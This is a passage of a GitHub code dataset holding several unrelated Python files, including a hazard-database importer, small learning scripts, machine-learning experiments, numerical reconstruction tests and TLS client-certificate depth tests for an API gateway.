es.hazard_type,\n        es.time_start,\n        es.time_end,\n        es.time_duration,\n        es.description,\n        es.bibliography,\n        es.is_prob\n    ])\n    return cursor.fetchone()[0]\n\n\n_FP_DATA_INJECT_QUERY = \"\"\"\nINSERT INTO hazard.footprint_data\n    (footprint_id,the_geom,intensity)\n    (SELECT %s AS footprint_id, %s)\n\"\"\"\n\n\ndef _import_footprint_data_via_query(cursor, fpid, data_query, fp):\n    query = _FP_DATA_INJECT_QUERY % (fpid, data_query)\n    verbose_message(\"Query = {}\".format(query))\n    cursor.execute(query)\n\n\ndef _import_footprint_data(cursor, fpid, data):\n    for row in data:\n        cursor.execute(_FOOTPRINT_DATA_QUERY, [\n            fpid,\n            # lon, lat\n            float(row[1]), float(row[2]),\n            # intensity\n            row[0]\n        ])\n\n\ndef _import_footprints(cursor, fsid, footprints):\n    verbose_message(\"Importing {0} footprints for fsid {1}\\n\" .format(\n        len(footprints), fsid))\n    for fp in footprints:\n        fpid = _import_footprint(cursor, fsid, fp)\n        data_query = fp.directives.get('_cf1_fp_data_query')\n        if data_query is None:\n            _import_footprint_data(cursor, fpid, fp.data)\n        else:\n            _import_footprint_data_via_query(cursor, fpid, data_query, fp)\n\n\ndef _import_footprint_sets(cursor, event_id, footprint_sets):\n    verbose_message(\"Importing {0} footprint_sets for event {1}\\n\" .format(\n        len(footprint_sets), event_id))\n    for fs in footprint_sets:\n        fsid = _import_footprint_set(cursor, event_id, fs)\n        _import_footprints(cursor, fsid, fs.footprints)\n\n\ndef _import_events(cursor, event_set_id, events):\n    verbose_message(\"Importing {0} events for event_set {1}\\n\" .format(\n        len(events), event_set_id))\n    for event in events:\n        verbose_message(\"Importing event {0}\\n\" .format(event.eid))\n        event_id = _import_event(cursor, event_set_id, event)\n        _import_footprint_sets(cursor, event_id, event.footprint_sets)\n\n\n_CONTRIBUTION_QUERY = \"\"\"\nINSERT INTO hazard.contribution (\n    event_set_id, model_source, model_date,\n    notes, license_code, version, purpose)\nVALUES(\n    %s, %s, %s,\n    %s, %s, %s, %s\n)\n\"\"\"\n\n\ndef _import_contribution(cursor, event_set_id, cntr):\n    if cntr is None:\n        return\n    contribution = Contribution.from_md(cntr)\n    cursor.execute(_CONTRIBUTION_QUERY, [\n        event_set_id,\n        contribution.model_source,\n        contribution.model_date,\n        contribution.notes,\n        contribution.license_code,\n        contribution.version,\n        contribution.purpose\n    ])\n\n\n_BB_GEOM_QUERY = \"\"\"\nWITH box AS (\n    SELECT ST_SetSRID(ST_Extent(the_geom),4326) AS geom\n      FROM hazard.event e\n      JOIN hazard.footprint_set fs ON fs.event_id=e.id\n      JOIN hazard.footprint fp ON fp.footprint_set_id=fs.id\n      JOIN hazard.footprint_data fpd ON fpd.footprint_id=fp.id\n     WHERE e.event_set_id=%s)\nUPDATE hazard.event_set SET the_geom = box.geom FROM box WHERE id=%s\n\"\"\"\n\n\ndef _fix_bb_geometry(cursor, event_set_id):\n    \"\"\"\n    Update the event_set bounding_box to the bounding box extent of all\n    footprint data point in the event_set\n    \"\"\"\n    cursor.execute(_BB_GEOM_QUERY, [event_set_id, event_set_id])\n\n\ndef import_event_set(es):\n    \"\"\"\n    Import data from a scenario EventSet\n    \"\"\"\n    verbose_message(\"Model contains {0} events\\n\" .format(len(es.events)))\n\n    connections = db_connections(db_settings.db_confs)\n\n    with connections['hazard_contrib'].cursor() as cursor:\n        event_set_id = _import_event_set(cursor, es)\n        _import_contribution(cursor, event_set_id, es.contribution)\n        verbose_message('Inserted event_set, id={0}\\n'.format(event_set_id))\n        _import_events(cursor, event_set_id, es.events)\n        verbose_message('Updating bounding box\\n')\n        _fix_bb_geometry(cursor, event_set_id)\n        connections['hazard_contrib'].commit()\n        return event_set_id\n","repo_name":"gem/hazard_scenario_database","sub_path":"python/mhs/import_scenarios.py","file_name":"import_scenarios.py","file_ext":"py","file_size_in_byte":6659,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"29355340988","text":"import random\nfrom random import seed\nfrom random import choice\n\nseed(1)\n# seed random number generator\n\nprint(\"Dice Roller by TechMT\")\ndice = int(input(f\"What dice would you like to roll?\"))\n#gets the type of dice\nnumber_of_rolls = int(input(\"How many times?\"))\n#gets how many rolls you want\n\n\n# make choices from the sequence\nfor _ in range(number_of_rolls):\n    sequence = [i for i in range(dice)]\n    # prepare a sequence\n    selection = choice(sequence)\n    #gets a random number in the dice\n    print(selection + 1)\n","repo_name":"Panthrus/Dice_Roller","sub_path":"dice_roller.py","file_name":"dice_roller.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"33989589603","text":"import numpy as np\nfrom keras.datasets import imdb\nfrom keras.preprocessing.sequence import pad_sequences\n\n(X_train, y_train), (X_test, y_test) = imdb.load_data(num_words=5000)\nX_train = pad_sequences(X_train, maxlen=500)\nX_test = pad_sequences(X_test, maxlen=500)\n\n# Save the test data\nnp.save(\"test_x.npy\", X_test)\nnp.save(\"test_y.npy\", y_test)\n\n# Model\nfrom keras.layers.embeddings import Embedding\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Flatten\n\nmodel = Sequential()\nmodel.add(Embedding(5000, 32, input_length=500))\nmodel.add(Flatten())\nmodel.add(Dense(250, activation='relu'))\nmodel.add(Dense(1, activation='sigmoid'))\nmodel.compile(loss='binary_crossentropy',\n              optimizer='adam', metrics=['accuracy'])\n\n# Fit the model\nmodel.fit(X_train, y_train, validation_data=(\n    X_test, y_test), epochs=2, batch_size=128, verbose=2)\n# Final evaluation of the model\nscores = model.evaluate(X_test, y_test, verbose=0)\nprint(\"Accuracy: %.2f%%\" % (scores[1] * 100))\n\n# Save the model\n\nwith open(\"model_structure.json\",\"w\") as f:\n    f.write(model.to_json())\n\nmodel.save_weights(\"model_weight.h5\")","repo_name":"ayush1999/Keras.jl","sub_path":"examples/imdb sentiment analysis/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"19"}
{"seq_id":"12123846417","text":"class Solution:\n    def mincostTickets(self, days: List[int], costs: List[int]) -> int:\n        N = 366\n        dayset = set(days)\n        memo = [None]*N\n\n        durations = [1,7,30]\n        ## Start with zero and populate the last day first and bring back till first day and compare for one day and seven day passes\n        def dp(i):\n            if i >= N:\n                return 0;\n\n            if memo[i] != None:\n                return memo[i]\n\n            ans = float('inf')\n            if i in dayset:\n                ans = min(dp(i+1)+ costs[0], dp(i+7)+ costs[1], dp(i+30)+ costs[2])\n            else:\n                ans = dp(i+1)\n            ##for c,d in zip(costs, durations):\n            memo[i] = ans\n            return ans\n\n        return dp(0)\n","repo_name":"appsjit/testament","sub_path":"LeetCode/soljit/s983_minCostOfTickets.py","file_name":"s983_minCostOfTickets.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"17150611934","text":"import sys,os\npyEFVLibPath = os.path.join(os.path.dirname(__file__), os.path.pardir, os.path.pardir)\nworkspacePath = os.path.join(os.path.dirname(__file__), os.path.pardir)\nsys.path += [pyEFVLibPath, workspacePath]\n\nimport PyEFVLib\nfrom colorplot import colorplot\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\ndef reconstruct2D(grid,F,Fx,Fy,cplot=False,diff=False,quiver=False):\n\tX,Y = zip(*[v.getCoordinates()[:-1] for v in grid.vertices])\n\tXip,Yip = zip( *[innerFace.centroid.getCoordinates()[:-1] for element in grid.elements for innerFace in element.innerFaces] )\n\n\tX,Y=np.array(X),np.array(Y)\n\tXip,Yip=np.array(Xip),np.array(Yip)\n\n\tfieldAtVertices = F(X,Y)\n\n\tfieldAtIP = F(Xip,Yip)\n\tgradFieldAtIP = np.array(list(zip( Fx(Xip,Yip), Fy(Xip,Yip) )))\n\n\trFieldAtIP = []\n\trGradFieldAtIP = []\n\n\tfor element in grid.elements:\n\t\tfieldVector = np.array( [fieldAtVertices[vertex.handle] for vertex in element.vertices] )\n\t\tfor innerFace in element.innerFaces:\n\t\t\tgrad = np.matmul( innerFace.globalDerivatives, fieldVector )\n\t\t\trGradFieldAtIP.append(grad)\n\n\t\t\tval = np.dot( fieldVector, innerFace.getShapeFunctions() )\n\t\t\trFieldAtIP.append(val)\n\n\n\tFxIP, FyIP = zip(*gradFieldAtIP); FxIP, FyIP = np.array(FxIP), np.array(FyIP)\n\trFxIP, rFyIP = zip(*rGradFieldAtIP); rFxIP, rFyIP = np.array(rFxIP), np.array(rFyIP)\n\trFieldAtIP = np.array(rFieldAtIP)\n\n\t# colorplot(Xip,Yip,FyIP-rFyIP)\n\n\tprint(f\"Max difference between Fx field = {max(abs(FxIP-rFxIP)) :.4f}, Field range = [{min(FxIP) :.4f}, {max(FxIP) :.4f}]\\t| {100*(max(abs(FxIP-rFxIP)))/(max(abs(FxIP))):.2f}%\")\n\tprint(f\"Max difference between Fy field = {max(abs(FyIP-rFyIP)) :.4f}, Field range = [{min(FyIP) :.4f}, {max(FyIP) :.4f}]\\t| {100*(max(abs(FyIP-rFyIP)))/(max(abs(FyIP))):.2f}%\")\n\n\tprint(f\"Max difference between F field = {max(abs(fieldAtIP-rFieldAtIP)) :.4f}, Field range = [{min(fieldAtIP) :.4f}, {max(fieldAtIP) :.4f}]\\t\\t| {100*(max(abs(fieldAtIP-rFieldAtIP)))/(max(abs(fieldAtIP))):.2f}%\")\n\n\tif cplot:\n\t\tcolorplot(Xip,Yip,rFieldAtIP)\n\n\tif diff:\n\t\tcolorplot(Xip,Yip,fieldAtIP-rFieldAtIP)\n\n\tif quiver:\n\t\tplt.quiver(Xip,Yip,rFxIP,rFyIP)\n\t\tplt.scatter(X,Y,marker='.',linewidths=0.5,color='k')\n\t\tplt.show()\n\ndef reconstruct3D(grid,F,Fx,Fy,Fz):\n\tX,Y,Z = zip(*[v.getCoordinates() for v in grid.vertices])\n\tXip,Yip,Zip = zip( *[innerFace.centroid.getCoordinates() for element in grid.elements for innerFace in element.innerFaces] )\n\n\tX,Y,Z=np.array(X),np.array(Y),np.array(Z)\n\tXip,Yip,Zip=np.array(Xip),np.array(Yip),np.array(Zip)\n\n\tfieldAtVertices = F(X,Y,Z)\n\n\tfieldAtIP = F(Xip,Yip,Zip)\n\tgradFieldAtIP = np.array(list(zip( Fx(Xip,Yip,Zip), Fy(Xip,Yip,Zip), Fz(Xip,Yip,Zip) )))\n\n\trFieldAtIP = []\n\trGradFieldAtIP = []\n\n\tfor element in grid.elements:\n\t\tfieldVector = np.array( [fieldAtVertices[vertex.handle] for vertex in element.vertices] )\n\t\tfor innerFace in element.innerFaces:\n\t\t\tgrad = np.matmul( innerFace.globalDerivatives, fieldVector )\n\t\t\trGradFieldAtIP.append(grad)\n\n\t\t\tval = np.dot( fieldVector, innerFace.getShapeFunctions() )\n\t\t\trFieldAtIP.append(val)\n\n\n\tFxIP, FyIP, FzIP = zip(*gradFieldAtIP); FxIP, FyIP, FzIP = np.array(FxIP), np.array(FyIP), np.array(FzIP)\n\trFxIP, rFyIP, rFzIP = zip(*rGradFieldAtIP); rFxIP, rFyIP, rFzIP = np.array(rFxIP), np.array(rFyIP), np.array(rFzIP)\n\trFieldAtIP = np.array(rFieldAtIP)\n\n\tprint(f\"Max difference between Fx field = {max(abs(FxIP-rFxIP)) :.4f}, Field range = [{min(FxIP) :.4f}, {max(FxIP) :.4f}]\\t| {100*(max(abs(FxIP-rFxIP)))/(max(abs(FxIP))):.2f}%\")\n\tprint(f\"Max difference between Fy field = {max(abs(FyIP-rFyIP)) :.4f}, Field range = [{min(FyIP) :.4f}, {max(FyIP) :.4f}]\\t| {100*(max(abs(FyIP-rFyIP)))/(max(abs(FyIP))):.2f}%\")\n\tprint(f\"Max difference between Fz field = {max(abs(FzIP-rFzIP)) :.4f}, Field range = [{min(FzIP) :.4f}, {max(FzIP) :.4f}]\\t| {100*(max(abs(FzIP-rFzIP)))/(max(abs(FzIP))):.2f}%\")\n\n\tprint(f\"Max difference between F field = {max(abs(fieldAtIP-rFieldAtIP)) :.4f}, Field range = [{min(fieldAtIP) :.4f}, {max(fieldAtIP) :.4f}]\\t\\t| {100*(max(abs(fieldAtIP-rFieldAtIP)))/(max(abs(fieldAtIP))):.2f}%\")\n\nif __name__ == \"__main__\":\n\tfor meshName in [\"Fine.msh\", \"10x10.msh\"]:\n\t\tgrid = PyEFVLib.read( os.path.join(pyEFVLibPath, \"meshes\", meshName) )\n\t\tprint(\"------------------------------------\\n\", meshName)\n\n\t\tF = lambda x,y: 3*np.power(x,2) + np.sin(2*y)\n\t\tFx = lambda x,y: 6*x\n\t\tFy = lambda x,y: 2*np.cos(2*y)\n\t\tprint(\"\\n3(x^2) + sin(2y)\")\n\t\treconstruct2D(grid,F,Fx,Fy,cplot=False,diff=False,quiver=False)\n\n\t\tF = lambda x,y: 3*np.power(x,2) + 4*np.power(y,2)\n\t\tFx = lambda x,y: 6*x\n\t\tFy = lambda x,y: 8*y\n\t\tprint(\"\\n3(x^2) + 4(y^2)\")\n\t\treconstruct2D(grid,F,Fx,Fy)\n\n\t\tF = lambda x,y: np.exp(-x) * np.sin(y)\n\t\tFx = lambda x,y: -np.exp(-x) * np.sin(y)\n\t\tFy = lambda x,y: np.exp(-x) * np.cos(y)\n\t\tprint(\"\\nexp(-x) * sin(y)\")\n\t\treconstruct2D(grid,F,Fx,Fy)\n\n\tfor meshName in [\"Hexas.msh\", \"Pyrams.msh\"]:\n\t\tgrid = PyEFVLib.read( os.path.join(pyEFVLibPath, \"meshes\", \"3DGeometries\", meshName) )\n\t\tprint(\"------------------------------------\\n\", meshName)\n\t\t\n\t\tF = lambda x,y,z: np.power(x,2) + np.power(y,2) + np.power(z,2)\n\t\tFx = lambda x,y,z: 2*x\n\t\tFy = lambda x,y,z: 2*y\n\t\tFz = lambda x,y,z: 2*z\n\t\tprint(\"\\n(x^2) + (y^2) + (z^2)\")\n\t\treconstruct3D(grid,F,Fx,Fy,Fz)\n\n\t\tF = lambda x,y,z: (x*y)/(z+1)\n\t\tFx = lambda x,y,z: y/(z+1)\n\t\tFy = lambda x,y,z: x/(z+1)\n\t\tFz = lambda x,y,z: -x*y/(z+1)**2\n\t\tprint(\"\\n(xy)/z\")\n\t\treconstruct3D(grid,F,Fx,Fy,Fz)\n","repo_name":"GustavoExel/PyEFVLib","sub_path":"workspace/geomechanics/grad and div reconstructions/reconstruction.py","file_name":"reconstruction.py","file_ext":"py","file_size_in_byte":5380,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"}
{"seq_id":"33802733961","text":"\r\nspam = 0\r\nwhile spam < 5:\r\n    print('Hello world!')\r\n    spam = spam + 1\r\n\r\nname = ''\r\nloop = -1\r\nitteration = 0\r\nwhile name != 'your name':\r\n    if name == 'your name':\r\n        break\r\n    if loop == 1 and itteration < 1:\r\n        print('Thats not your name.')\r\n    if loop == 2 and itteration < 1:\r\n        print('Come on just type your name.')\r\n    if loop == 3 and name != 'fine' and itteration < 1:\r\n        print('Why are you doing this. Just type your name!')\r\n    if loop == 4 or name == 'fine' and loop == 3 or itteration == 1:\r\n        if  name != 'fine':\r\n            print('WHY! WHY MUST YOU FAIL ME SO OFTEN!')\r\n            print('TYPE YOUR NAME!')\r\n        elif name != 'YOUR NAME':\r\n            print('NOOOOOOO!!!!')\r\n        else:\r\n            loop = -1\r\n            itteration = itteration + 1\r\n            print('Thank you, now')\r\n    if loop == -1 or name == 'fine' and loop == 3:\r\n        print('Please type your name.')\r\n        loop = loop + 1\r\n    loop = loop + 1\r\n    name = input()\r\nprint('Thank you!')\r\n\r\nspam = 0\r\nwhile spam < 5:\r\n    spam = spam + 1\r\n    if spam == 3:\r\n        continue\r\n    print('spam is ' + str(spam))\r\n","repo_name":"demetriustw/server-side_scripting","sub_path":"Python/whileLoop.py","file_name":"whileLoop.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"18010155534","text":"import pandas as pd\nimport numpy as np\n# import seaborn as sns\nimport xgboost as xgb\n# import matplotlib.pyplot as plt\nfrom sklearn.svm import LinearSVC\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.decomposition import PCA\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import cross_val_score, train_test_split\n\ndef threshold_bvalue(value):\n    if float(value) <= 0.2:\n        return \"low\"\n    elif float(value) >=0.8:\n        return \"high\"\n    else:\n        return \"middle\"\n\ndef prepare_df(gse, pheno):\n    \"\"\" Merge GSE and phenotype files into a DataFrame\n    \"\"\"\n    # GSE\n    gse_df = pd.read_csv(gse, index_col=0, header=None).T\n    gse_df = gse_df.rename(columns={np.NaN: \"samples\"})\n    gse_df[\"geo_accession\"] = gse_df[\"samples\"].apply(lambda lst: lst.split(\"_\")[0])\n\n    # Transform b-values in methylation rate groups\n    cols = [col for col in gse_df.columns if col.startswith(\"cg\")]\n    gse_df[cols] = gse_df[cols].applymap(threshold_bvalue)\n    \n    # phenotype\n    pheno_df = pd.read_csv(pheno)\n    pheno_df = pheno_df.rename({\n        \"Unnamed: 0\": \"samples\", \"subtype_ihc:ch1\": \"subtype\"\n        }, axis=1)\n\n    l_pheno_df = pheno_df[[\"geo_accession\", \"subtype\"]]\n    gse_pheno_df = gse_df.merge(l_pheno_df, on=\"geo_accession\")\n    gse_pheno_df.drop([\"geo_accession\", \"samples\"], axis=1, inplace=True)\n\n    return gse_pheno_df\n\n# Organize dataset\ngse_file1 = \"/home/genomika/george/master-degree/GSE72245/GSE72245_bvalues.csv\"\npheno1 = \"/home/genomika/george/master-degree/GSE72245/GSE72245_all_phenotype.csv\"\ngse_pheno_df1 = prepare_df(gse_file1, pheno1)\n\ngse_file2 = \"/home/genomika/george/master-degree/GSE72251/GSE72251_bvalues.csv\"\npheno2 = \"/home/genomika/george/master-degree/GSE72251/GSE72251_all_phenotype.csv\"\ngse_pheno_df2 = prepare_df(gse_file2, pheno2)\n\n# gse_file3 = \"/home/genomika/george/master-degree/GSE72254/GSE72254_bvalues.csv\"\n# pheno3 = \"/home/genomika/george/master-degree/GSE72254/GSE72254_all_phenotype.csv\"\n# gse_pheno_df3 = prepare_df(gse_file3, pheno3)\n\n# Concatenate DFs\ngse_pheno_df = pd.concat([gse_pheno_df1, gse_pheno_df2], sort=False).reset_index(drop=True) \n\ngse_pheno_df[\"subtype\"] = gse_pheno_df[\"subtype\"].map({\n    \"LumB\":1, \"Basal\":2, \"HER2\":3, \"LumA\":4\n    })\n\n\nsubtype = gse_pheno_df[\"subtype\"]\ngse_pheno_df.drop(\"subtype\", axis=1, inplace=True)\nsubtype.drop(subtype.index[[141, 216]], inplace=True)\ngse_pheno_df.drop(gse_pheno_df.index[[141, 216]], inplace=True)\n\ngse_pheno_df = gse_pheno_df.astype(float)\nsubtype = subtype.astype(float)\n\n# TODO: PROBLEM WITH NAN values\nsubtype\n# Plot subtype distribution\n# plt.figure(figsize=(12,5))\n# sns.countplot(x=subtype, color='mediumseagreen')\n# plt.title('ECancer subtype class distribution', fontsize=16)\n# plt.ylabel('Class Counts', fontsize=16)\n# plt.xlabel('Class Label', fontsize=16)\n# plt.xticks(rotation='vertical')\n \n# ML algorithms based on:\n# https://www.freecodecamp.org/news/multi-class-classification-with-sci-kit-learn-xgboost-a-case-study-using-brainwave-data-363d7fca5f69/\n# Run RF\n# %%time\npl_random_forest = Pipeline(steps=[('random_forest', RandomForestClassifier())])\nscores = cross_val_score(pl_random_forest, gse_pheno_df, subtype, cv=10,scoring='accuracy')\nprint('Accuracy for RandomForest : ', scores.mean())\n\n# Dataset 1\n# Accuracy for RandomForest :  0.5681818181818181\n# CPU times: user 1min 2s, sys: 3.61 s, total: 1min 6s\n# Wall time: 1min 6s\n\n# Both datasets\n# Accuracy for RandomForest :  0.6855072463768116\n\n# Run LR\n# %%time\npl_log_reg = Pipeline(steps=[('scaler',StandardScaler()),\n                             ('log_reg', LogisticRegression(multi_class='multinomial', solver='saga', max_iter=200))])\nscores = cross_val_score(pl_log_reg, gse_pheno_df, subtype, cv=10,scoring='accuracy')\nprint('Accuracy for Logistic Regression: ', scores.mean())\n\n# Dataset1\n# Accuracy for Logistic Regression:  0.5840909090909091\n# CPU times: user 55min 14s, sys: 1min 7s, total: 56min 21s\n# Wall time: 55min 1s\n\n# Both datasets\n# Accuracy for Logistic Regression:  0.6942028985507247\n\nscaler = StandardScaler()\nscaled_df = scaler.fit_transform(gse_pheno_df)\npca = PCA(n_components = 20)\npca_vectors = pca.fit_transform(scaled_df)\nfor index, var in enumerate(pca.explained_variance_ratio_):\n    print(\"Explained Variance ratio by Principal Component \", (index+1), \" : \", var)\n# Scatter plot from the 20 components\n# plt.figure(figsize=(25,8))\n# sns.scatterplot(x=pca_vectors[:, 0], y=pca_vectors[:, 1], hue=subtype)\n# plt.title('Principal Components vs Class distribution', fontsize=16)\n# plt.ylabel('Principal Component 2', fontsize=16)\n# plt.xlabel('Principal Component 1', fontsize=16)\n# plt.xticks(rotation='vertical')\n\n# %%time\n# pl_log_reg_pca = Pipeline(steps=[('scaler',StandardScaler()),\n#                              ('pca', PCA(n_components = 2)),\n#                              ('log_reg', LogisticRegression(multi_class='multinomial', solver='saga', max_iter=200))])\n# scores = cross_val_score(pl_log_reg_pca, gse_pheno_df, subtype, cv=10,scoring='accuracy')\n# print('Accuracy for Logistic Regression with 2 Principal Components: ', scores.mean())\n\n# Accuracy for Logistic Regression with 2 Principal Components:  0.40681818181818186\n\n# %%time\n# pl_log_reg_pca_10 = Pipeline(steps=[('scaler',StandardScaler()),\n#                              ('pca', PCA(n_components = 10)),\n#                              ('log_reg', LogisticRegression(multi_class='multinomial', solver='saga', max_iter=200))])\n# scores = cross_val_score(pl_log_reg_pca_10, gse_pheno_df, subtype, cv=10,scoring='accuracy')\n# print('Accuracy for Logistic Regression with 10 Principal Components: ', scores.mean())\n\n# Accuracy for Logistic Regression with 10 Principal Components:  0.5515151515151515\n# CPU times: user 29min 11s, sys: 5min 22s, total: 34min 34s\n# Wall time: 3min 17s\n\n# %%time\npl_mlp = Pipeline(steps=[('scaler',StandardScaler()),\n                             ('mlp_ann', MLPClassifier(hidden_layer_sizes=(1275, 637)))])\nscores = cross_val_score(pl_mlp, gse_pheno_df, subtype, cv=10,scoring='accuracy')\nprint('Accuracy for ANN : ', scores.mean())\n\n# Accuracy for ANN :  0.5613636363636364\n# CPU times: user 4h 47min 35s, sys: 7h 21min 40s, total: 12h 9min 15s\n# Wall time: 6h 3min 10s\n\n# %%time\npl_svm = Pipeline(steps=[('scaler',StandardScaler()),\n                             ('pl_svm', LinearSVC())])\nscores = cross_val_score(pl_svm, gse_pheno_df, subtype, cv=10,scoring='accuracy')\nprint('Accuracy for Linear SVM : ', scores.mean())\n\n# Dataset 1\n# Accuracy for Linear SVM :  0.6098484848484848\n# CPU times: user 6min 6s, sys: 16.9 s, total: 6min 23s\n# Wall time: 4min 55s\n\n# %%time\npl_xgb = Pipeline(steps=\n                  [('xgboost', xgb.XGBClassifier(objective='multi:softmax'))])\nscores = cross_val_score(pl_xgb, gse_pheno_df, subtype, cv=10)\nprint('Accuracy for XGBoost Classifier : ', scores.mean())\n\n# Accuracy for XGBoost Classifier :  0.6787878787878789\n# CPU times: user 15h 57min 11s, sys: 1h 15min 57s, total: 17h 13min 8s\n# Wall time: 23min 59s\n\n# Both datasets\n# Accuracy for XG Boost Classifier :  0.7416666666666667","repo_name":"geocarvalho/master-degree","sub_path":"other_scripts/enjoy_gse.py","file_name":"enjoy_gse.py","file_ext":"py","file_size_in_byte":7247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"10011661110","text":"\"\"\"\nTests for setting maximum TLS client certificate length, which is set with APICAST_HTTPS_VERIFY_DEPTH env parameter\nClient certificate length is measure by number of certificates below the main authority:\n\nLength 1: Root -> Certificate\nLength 2: Root -> Intermediate -> Certificate\n\nThis tests sets up the chain from the root certificate which is trusted by the gateway and then\ntests if the certificate is accepted or not.\n\nIn general tests with Length =< Depth should pass and tests with Length > Depth should fail\n\"\"\"\nimport pytest\n\nfrom testsuite.capabilities import Capability\nfrom testsuite.certificates import Certificate\n\npytestmark = [\n    pytest.mark.required_capabilities(Capability.STANDARD_GATEWAY)\n]\n\n\n@pytest.fixture(scope=\"module\")\ndef valid_authority(staging_gateway):\n    \"\"\"Override valid authority with authority of the staging gateway\"\"\"\n    return staging_gateway.server_authority\n\n\n@pytest.fixture(scope=\"module\")\ndef authority_a(request, configuration, valid_authority):\n    \"\"\"\n    Intermediate authority_a\n    valid_authority -> authority_a\n    \"\"\"\n    authority = configuration.manager.get_or_create_ca(\"authority_a\",\n                                                       hosts=[\"*.com\"],\n                                                       certificate_authority=valid_authority)\n    request.addfinalizer(authority.delete_files)\n    return authority\n\n\n@pytest.fixture(scope=\"module\")\ndef authority_b(request, configuration, authority_a):\n    \"\"\"\n    Intermediate authority_a\n    valid_authority -> authority_a -> authority_b\n    \"\"\"\n    authority = configuration.manager.get_or_create_ca(\"authority_b\",\n                                                       hosts=[\"*.com\"],\n                                                       certificate_authority=authority_a)\n    request.addfinalizer(authority.delete_files)\n    return authority\n\n\n@pytest.fixture(scope=\"module\")\ndef certificate_1(create_cert, valid_authority) -> Certificate:\n    \"\"\"\n    Certificate whose chain has length 1\n    valid_authority -> certificate_1\n    \"\"\"\n    return create_cert(\"len_1\", valid_authority)\n\n\n@pytest.fixture(scope=\"module\")\ndef certificate_2(create_cert, authority_a):\n    \"\"\"\n    Certificate whose chain has length 2\n    valid_authority -> authority_a -> certificate_2\n    \"\"\"\n    return create_cert(\"len_2\", authority_a)\n\n\n@pytest.fixture(scope=\"module\")\ndef certificate_3(create_cert, authority_b):\n    \"\"\"\n    Certificate whose chain has length 3\n    valid_authority -> authority_a -> authority_b -> certificate_3\n    \"\"\"\n    return create_cert(\"len_3\", authority_b)\n\n\n@pytest.fixture(scope=\"module\")\ndef chain_len3(chainify, authority_b, authority_a, valid_authority, certificate_3):\n    \"\"\"Client certificate chain with length of 3\"\"\"\n    return chainify(certificate_3, authority_b, authority_a, valid_authority)\n\n\n@pytest.fixture(scope=\"module\")\ndef chain_len2(chainify, authority_a, valid_authority, certificate_2):\n    \"\"\"Client certificate chain with length of 2\"\"\"\n    return chainify(certificate_2, authority_a, valid_authority)\n\n\n@pytest.fixture(scope=\"module\")\ndef chain_len1(chainify, certificate_1, valid_authority):\n    \"\"\"Client certificate chain with length of 2\"\"\"\n    return chainify(certificate_1, valid_authority)\n\n\n@pytest.fixture(scope=\"module\", params=[\n    pytest.param((1, \"valid_authority\", \"chain_len1\", 200), id=\"Length 1 - Depth 1\"),\n    pytest.param((1, \"authority_a\", \"chain_len2\", 400), id=\"Length 2 - Depth 1\"),\n    pytest.param((2, \"authority_a\", \"chain_len2\", 200), id=\"Length 2 - Depth 2\"),\n    pytest.param((2, \"authority_b\", \"chain_len3\", 400), id=\"Length 3 - Depth 2\"),\n    pytest.param((3, \"authority_b\", \"chain_len3\", 200), id=\"Length 3 - Depth 2\"),\n])\ndef certificates_and_code(request, staging_gateway):\n    \"\"\"\n    Sets up gateway to the specify depth and returns configuration for service and test\n    Input: Depth, Autority to be passed to Client Verification, Certificate to be used in request, Expected return code\n    \"\"\"\n    staging_gateway.environ[\"APICAST_HTTPS_VERIFY_DEPTH\"] = request.param[0]\n    return [request.getfixturevalue(request.param[1])], request.getfixturevalue(request.param[2]), request.param[3]\n\n\ndef test_certificate_depth(api_client, certificates_and_code):\n    \"\"\"Test that TLS validation returns expected result when using client certificate with certain maximum depth\"\"\"\n    _, certificate, code = certificates_and_code\n    response = api_client(cert=(certificate.files[\"certificate\"], certificate.files[\"key\"])).get(\"/get\")\n    assert response.status_code == code\n","repo_name":"mijaros/3scale-tests","sub_path":"testsuite/tests/apicast/policy/tls/client_validation/test_certificate_verify_depth.py","file_name":"test_certificate_verify_depth.py","file_ext":"py","file_size_in_byte":4563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"19"}
{"seq_id":"27625625164","text":"#!/usr/bin/python2\nimport cv2\nimport numpy as np\nimport pyscreenshot\n#import autopy\nimport time\nimport threading\n\n\n\n# smaller area\n#box = (195,107,543,331)\nbox = (7,41,680,458)\nimg = None\n\ndef shoot():\n    global box, img\n    # takes screenshot at box\n    frame = pyscreenshot.grab(bbox=box)\n    # conver to an array for cv2\n    frame = np.array(frame)\n    # convert to BGR format\n    frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n    img = frame\n\ndef display_img():\n    global img\n    fgmask = fgbg.apply(img)\n    cv2.imshow('fg', fgmask)\n\nfgbg = cv2.BackgroundSubtractorMOG2()\nshoot_lock = threading.Lock()\nfor _ in range(100):\n    shoot_thread = threading.Thread(target=shoot)\n    shoot_thread.start()\n    shoot_thread.join()\n\n    display_thread = threading.Thread(target=display_img)\n    display_thread.start()\n\ncv2.destroyAllWindows()\n","repo_name":"jjvilm/elmacro","sub_path":"forcs2.py","file_name":"forcs2.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
